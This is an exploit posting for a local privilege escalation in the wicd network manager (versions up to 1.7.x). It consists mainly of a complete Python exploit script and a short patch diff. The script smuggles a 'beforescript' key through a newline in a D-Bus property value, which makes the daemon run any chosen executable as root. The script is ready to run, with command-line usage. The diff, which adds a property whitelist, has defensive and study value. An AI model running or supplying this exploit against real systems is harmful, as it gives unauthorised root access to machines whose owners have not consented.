wicd Privilege Escalation

`==========================================  
EXPLOIT:  
  
#!/usr/bin/python  
#wicd 0day exploit discovered on 4.9.12 by InfoSec Institute student  
#For full write up and description go to http://www.infosecinstitute.com/courses/ethical_hacking_training.html  
import sys  
import os  
import time  
import getopt  
  
try: from wicd import dbusmanager  
except: print "[!] WICD Error: libraries are not available. Is WICD installed?"; sys.exit(0)  
  
class Error(Exception):  
def __init__(self, error):  
self.errorStr=error  
  
def __str__(self):  
return repr(self.errorStr)  
  
  
class Wicd():  
wireless=None  
daemon=None  
versionString=None  
def __init__(self):  
try:   
dbusmanager.connect_to_dbus()  
dbusInterfaces = dbusmanager.get_dbus_ifaces()  
self.wireless = dbusInterfaces["wireless"]  
self.daemon = dbusInterfaces["daemon"]  
except:   
raise Error("Daemon is not running")  
self.versionString = self.daemon.Hello()  
  
def versionLessThan(self, version):  
if int(self.versionString.replace(".",""))<=version:  
return True  
else:  
return False  
  
  
class Exploit():  
  
def __init__(self, wicd, scriptPath):  
self.wicd = wicd  
self.scriptPath = scriptPath  
  
def getNets(self):  
self.wicd.wireless.Scan(True)  
nets = self.wicd.wireless.GetNumberOfNetworks()  
while nets < 1:  
self.wicd.wireless.Scan(True)  
nets = self.wicd.wireless.GetNumberOfNetworks()  
for net in range(nets):  
yield net  
  
def exploit(self):  
  
for net in self.getNets(): pass # Priming scan.  
  
try:  
self.wicd.wireless.SetWirelessProperty(0, "beforescript = "+ self.scriptPath +"\nrooted", "true")  
except:  
raise Error("Unable to exploit (SetWirelessProperty() failed.)")  
  
try:  
self.wicd.wireless.SaveWirelessNetworkProperty(0, "beforescript = "+ self.scriptPath +"\nrooted")  
except:  
raise Error("Unable to exploit (SetWirelessProperty() failed.)")  
  
propertyKey = 'bssid' # Could be essid, or any other identifiable wireless property  
vulnIdentifier = self.wicd.wireless.GetWirelessProperty(0, propertyKey)   
  
# TODO: Does this need a try construct?  
self.wicd.wireless.ReloadConfig()  
  
for net in self.getNets(): # Implicit, but required re-scan.  
if self.wicd.wireless.GetWirelessProperty(net, propertyKey) == vulnIdentifier:  
self.wicd.wireless.ConnectWireless(net)  
return True  
raise Error("Unable to exploit (Lost the network we were using)")  
  
  
def usage():  
print "[!] Usage:"  
print " ( -h, --help ):"  
print " Print this message."  
print " ( --scriptPath= ): Required, executable to run as root."  
print " --scriptPath=/some/path/to/executable.sh"  
  
def main():  
print "[$] WICD =< 1.7.0Day"  
try:  
opts, args = getopt.getopt(sys.argv[1:], "h", ["help", "scriptPath="])  
except getopt.GetoptError, err:  
# Print help information and exit:  
print '[!] Parameter error:' + str(err) # Will print something like "option -a not recognized"  
usage()  
sys.exit(0)  
  
scriptPath=None  
  
for opt, arg in opts:  
if opt in ("-h", "--help"):  
usage()  
sys.exit(0)  
elif opt =="--scriptPath":  
scriptPath=arg  
else:  
# I would be assuming to say we'll never get here.  
print "[!] Parameter error."  
usage()  
sys.exit(0)  
  
if not scriptPath:  
print "[!] Parameter error: scriptPath not set."  
usage()  
sys.exit(0)  
  
try:  
wicd = Wicd()  
except Error as error:  
print "[!] WICD Error: %s" % (error.errorStr)  
exit(0)  
print "[*] WICD Connection Initialized! (Version: %s)" % (wicd.versionString)  
  
if not wicd.versionLessThan(171):   
print "[!] WICD Warning: version print exceeds 1.7.1: Trying anyhow."  
  
exploit = Exploit(wicd, scriptPath)  
  
print "[*] Attempting to exploit:"  
  
try:  
exploit.exploit()  
except Error as error:  
print "[!] Exploit Error: %s" % (error.errorStr)  
exit(0)  
print "[*] Exploit appears to have worked."  
  
# Standard boilerplate to call the main() function to begin  
# the program.  
if __name__=='__main__':  
main()  
  
  
  
  
==========================================  
  
PATCH:  
  
- --- _wicd-daemon.py 2012-04-09 16:31:19.000000000 -0400  
+++ wicd-daemon.py 2012-02-02 11:38:26.000000000 -0500  
@@ -945,30 +945,6 @@  
self._scanning = False  
self.LastScan = []  
self.config = ConfigManager(wireless_conf, debug=debug)  
- -  
- - #Using a dict to avoid repitition.  
- - self._validProperties = {  
- - 'bssid':None,  
- - "essid":None,  
- - "hidden":None,  
- - "channel":None,  
- - "mode":None,  
- - "enctype":None,  
- - "encryption_method":None,  
- - "key":None,  
- - "automatic":None,  
- - "ip":None,  
- - "netmask":None,  
- - "broadcast":None,  
- - "gateway":None,  
- - "use_static_dns":None,  
- - "use_global_dns":None,  
- - "dns1":None,  
- - "dns2":None,  
- - "dns3":None,  
- - "use_settings_globally":None,  
- - "has_profile":None  
- -}  
  
def get_debug_mode(self):  
return self._debug_mode  
@@ -1088,7 +1064,7 @@  
def SetWirelessProperty(self, netid, prop, value):  
""" Sets property to value in network specified. """  
# We don't write script settings here.  
- - if (prop.strip() not in self._validProperties):  
+ if (prop.strip()).endswith("script"):  
print "Setting script properties through the daemon is not" \  
+ " permitted."  
return False  
  
  
`